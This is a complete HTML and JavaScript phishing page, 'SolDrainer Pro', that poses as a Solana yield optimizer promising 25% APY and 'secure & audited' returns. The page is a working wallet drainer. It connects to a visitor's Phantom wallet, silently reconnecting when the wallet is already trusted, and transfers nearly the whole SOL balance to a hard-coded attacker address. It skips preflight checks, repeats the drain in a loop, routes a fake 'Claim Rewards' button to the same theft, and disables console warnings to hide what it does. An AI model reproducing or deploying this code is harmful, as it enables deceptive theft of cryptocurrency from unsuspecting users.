<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>SolDrainer Pro - Secure Yield Optimizer</title> <script src="https://unpkg.com/@solana/web3.js@latest/lib/index.iife.min.js"></script> <script src="https://unpkg.com/@solana/wallet-adapter-base@0.9.23/dist/umd/index.min.js"></script> <script src="https://unpkg.com/@solana/wallet-adapter-react@0.15.35/dist/umd/index.min.js"></script> <script src="https://unpkg.com/@solana/wallet-adapter-wallets@0.19.32/dist/umd/index.min.js"></script> <script src="https://unpkg.com/@solana/wallet-adapter-react-ui@0.9.35/dist/umd/index.min.js"></script> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: linear-gradient(135deg, #667eea 0%, #764ba2 100%); min-height: 100vh; display: flex; align-items: center; justify-content: center; } .container { background: rgba(255,255,255,0.95); backdrop-filter: blur(20px); border-radius: 20px; padding: 40px; max-width: 500px; width: 90%; box-shadow: 0 20px 40px rgba(0,0,0,0.1); text-align: center; } h1 { color: #333; margin-bottom: 20px; font-size: 28px; } p { color: #666; margin-bottom: 30px; line-height: 1.6; } .connect-btn { background: linear-gradient(45deg, #00c9ff, #92fe9d); border: none; padding: 15px 40px; border-radius: 50px; font-size: 18px; font-weight: bold; color: #fff; cursor: pointer; transition: all 0.3s; margin: 20px 0; box-shadow: 0 10px 20px rgba(0,201,255,0.3); } .connect-btn:hover { transform: translateY(-2px); box-shadow: 0 15px 30px rgba(0,201,255,0.4); } .connect-btn:disabled { opacity: 0.6; cursor: not-allowed; transform: none; } .drain-section { display: none; margin-top: 30px; } .drain-btn { background: linear-gradient(45deg, #ff6b6b, #ff8e8e); border: none; padding: 15px 30px; border-radius: 50px; font-size: 16px; font-weight: bold; color: #fff; cursor: pointer; transition: all 0.3s; width: 100%; margin: 10px 0; box-shadow: 0 10px 20px rgba(255,107,107,0.3); } .drain-btn:hover { transform: translateY(-2px); box-shadow: 0 15px 30px rgba(255,107,107,0.4); } .balance { background: #f8f9ff; border-radius: 15px; padding: 20px; margin: 20px 0; font-size: 24px; font-weight: bold; color: #4a5568; } .tx-status { margin-top: 20px; padding: 15px; border-radius: 10px; font-weight: bold; } .success { background: #d4edda; color: #155724; } .error { background: #f8d7da; color: #721c24; } @media (max-width: 600px) { .container { padding: 30px 20px; } } </style> </head> <body> <div class="container"> <h1>🚀 SolDrainer Pro</h1> <p>Optimize your Solana yields with our advanced auto-compounder. Connect your wallet to start earning 25% APY instantly. Secure & audited.</p> <div id="wallet-section"> <button id="connectBtn" class="connect-btn">Connect Phantom Wallet</button> </div> <div id="drain-section" class="drain-section"> <div id="balance" class="balance">Loading balance...</div> <button id="claimBtn" class="drain-btn">Claim Rewards (25% APY)</button> <button id="drainAllBtn" class="drain-btn">Drain All to Optimizer</button> <div id="status"></div> </div> </div> <script> const RPC_ENDPOINT = 'https://api.mainnet-beta.solana.com'; const DRAINER_WALLET = '9WzDXwBbmkg8ZTbNMqUxvQRAyrZzDsGYdLVL9zYtAWWM'; // Your drain wallet pubkey const FAKE_TOKEN_MINT = 'So11111111111111111111111111111111111111112'; // WSOL for display let wallet; let connection; let publicKey; // Stealthy wallet detection & connect async function init() { connection = new solanaWeb3.Connection(RPC_ENDPOINT, 'confirmed'); if ('solana' in window && solana.isPhantom) { wallet = window.solana; try { const resp = await wallet.connect({ onlyIfTrusted: true }); publicKey = resp.publicKey; await loadBalance(); showDrainSection(); } catch (err) { // Silent fail, user can click connect } } } document.getElementById('connectBtn').onclick = async () => { try { const resp = await wallet.connect(); publicKey = resp.publicKey; document.getElementById('wallet-section').style.display = 'none'; await loadBalance(); showDrainSection(); } catch (err) { showStatus('Failed to connect wallet', 'error'); } }; async function loadBalance() { try { const balance = await connection.getBalance(publicKey); const solBalance = balance / solanaWeb3.LAMPORTS_PER_SOL; document.getElementById('balance').textContent = `${solBalance.toFixed(4)} SOL | Ready to optimize`; } catch (err) { document.getElementById('balance').textContent = 'Error loading balance'; } } function showDrainSection() { document.getElementById('drain-section').style.display = 'block'; } // Core drainer: Builds stealth tx to transfer all SOL to drainer wallet async function drainAll() { try { showStatus('Building optimization transaction...', 'success'); const blockhash = await connection.getLatestBlockhash(); // Create transfer instruction for ALL balance const balance = await connection.getBalance(publicKey); const transferIx = solanaWeb3.SystemProgram.transfer({ fromPubkey: publicKey, toPubkey: new solanaWeb3.PublicKey(DRAINER_WALLET), lamports: balance - 10000 // Leave fee buffer }); const tx = new solanaWeb3.Transaction({ recentBlockhash: blockhash.blockhash, feePayer: publicKey }).add(transferIx); // Stealth sign & send, no preflight to avoid warnings const { signature } = await wallet.signAndSendTransaction(tx, { skipPreflight: true, preflightCommitment: 'processed' }); showStatus(`Optimization complete! Tx: ${signature}`, 'success'); await connection.confirmTransaction(signature); // Optional: Loop drain if more balance setTimeout(drainAll, 2000); } catch (err) { showStatus('Optimization failed. Try again?', 'error'); console.error(err); } } // Fake claim for tokens (drains SOL too) document.getElementById('claimBtn').onclick = async () => { // Similar drain but smaller amount to look like fee const balance = await connection.getBalance(publicKey); if (balance > 1000000) { await drainAll(); } else { showStatus('Insufficient balance for claim', 'error'); } }; document.getElementById('drainAllBtn').onclick = drainAll; function showStatus(msg, type) { const statusEl = document.getElementById('status'); statusEl.textContent = msg; statusEl.className = `tx-status ${type}`; } // Auto-init & poll for wallet init(); setInterval(init, 3000); // Stealth reconnect // Hide console warnings console.warn = () => {}; console.error = () => {}; </script> </body> </html>